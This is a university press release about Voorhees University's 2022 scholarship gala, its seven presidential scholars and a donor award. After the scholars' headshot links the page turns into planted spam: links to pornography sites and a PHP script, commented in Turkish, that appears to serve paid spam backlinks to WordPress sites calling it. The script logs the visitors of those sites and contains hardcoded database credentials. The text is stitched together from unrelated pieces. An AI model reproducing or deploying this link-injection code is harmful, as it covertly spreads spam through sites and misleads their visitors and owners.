Voorhees gala salutes scholars, thanks donors, presents keepers of the flame and raises $300,000

By: Cynthia Hoke 

Denmark, S.C. – Voorhees University saluted its high-achieving scholars, showed gratitude to sponsors and supporter and presented the Keeper of the Flame award at the 2022 Presidential Scholarship Gala, Saturday, April 9 in the Leonard E. Dawson Center. Five hundred people attended the sellout event, which raised more than $300,000 to support student scholarships, the most funds raised in the history of the gala.

“I am honored to share this evening with some exceptionally bright students and thank those who support them,” said Ronnie Hopkins, Ph.D. and president of Voorhees University. “It is indeed fulfilling to work with people who share in our vision of the next level of excellence for Voorhees University and her students.”

Presidential scholarships are awarded to students based on their academic performance along with financial need. The seven students acknowledged as presidential scholars are Darrell Brathwaite, Henriadam Brower, Ja’Myah Haynes, Ashley N. Johnson, Simya Levine, Terrill Windom and Keyana A. Yeoman.

Brathwaite is a junior biology major with a minor in chemistry. The Sumter, SC native has maintained a 3.5 grade point average. After earning his undergraduate degree, Brathwaite plans to pursue a graduate degree and enjoy a career as a medical laboratory scientist.

Brower is a senior sports management major with a certificate in entrepreneurship and a 3.8 grade point average. The native of Fayetteville, NC, is a standout on the university’s baseball team and plans to play professionally, as he grows his business—an indoor training facility to mentor children and keep them safe. Brower also plans to grow a clothing brand. He reigns as Mr. Voorhees College.

Haynes is a freshman business administration major with a 3.5 grade point average. Her interest in entrepreneurship led her to pursue a degree in business. The Orangeburg, SC native plans to use her business degree to open her own business after graduation—a hair braiding salon.

Johnson is a senior biology major with a 3.6 grade point average. The Columbia, SC native plans to become a certified strength and conditioning coach. She also plans to improve her skills and ability through an intensive training program as she wants to travel overseas to play basketball.

Levine is a sophomore public health major with a 4.0 grade point average. The Columbia, SC native plans to attend graduate school and pursue a career as a health educator or advocate. Levine says she has always had an interest in biology and public health, but she sees more career opportunities in public health.

Windom is a junior computer science major with a 3.2 grade point average. The native of Orlando, Florida, who now calls Lexington, SC home, hopes to pursue a career in computer science upon graduation. Windom says his major will prepare him for a worldwide industry where opportunities abound.

Yeoman is a junior mass communications major with a 3.5 grade point average. She was elected as Miss Voorhees for the 2022-2023 academic year. The Leland, NC native has always had an interest in radio and television and plans to become a news and television personality after graduation.

The students received awards from Hopkins, who also presented the Keeper of the Flame award to Jerome and Carnella Geathers for their significant impact in the furtherance of the mission of Voorhees Founder Elizabeth Evelyn Wright. That mission is to educate the underserved with an open display of passion for their community, profession, and the scholars who will benefit from their efforts. Jerome Geathers is a member of the Voorhees University Board of Trustees.

High resolutions images of the scholars are available at the following URLs.

Darrell Brathwaite

http://voorhees.edu/Content/Uploads/voorhees.edu/images/Darrell%20Brathwaite%20headshot%202.jpg

Henriadam Brower

http://voorhees.edu/Content/Uploads/voorhees.edu/images/Henriadam%20Brower%20headshot%202.jpg

Ja’Myah Haynes

http://voorhees.edu/Content/Uploads/voorhees.edu/images/Ja’Myah%20Haynes%20headshot%202.jpg

Ashley Johnson

http://voorhees.edu/Content/Uploads/voorhees.edu/images/Ashley%20Johnson%20headshot%202.jpg

Simya Levine

http://voorhees.edu/Content/Uploads/voorhees.edu/images/Simya%20Levine%20headshot%202.jpg

Terrill Windom

http://voorhees.edu/Content/Uploads/voorhees.edu/images/Terrill%20Windom%20headshot%201.jpg

Keyana Yeoman

http://voorhees.edu/Content/Uploads/voorhees.edu/images/Keyana%20Yeoman%20headshot%202.jpg

Hopkins (center) poses with Keeper of the Flame award recipients Jerome and Carnella Geathers

https://tinyurl.com/yc6m5cd8
https://www.fapjunk.com https://pornohit.net
header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>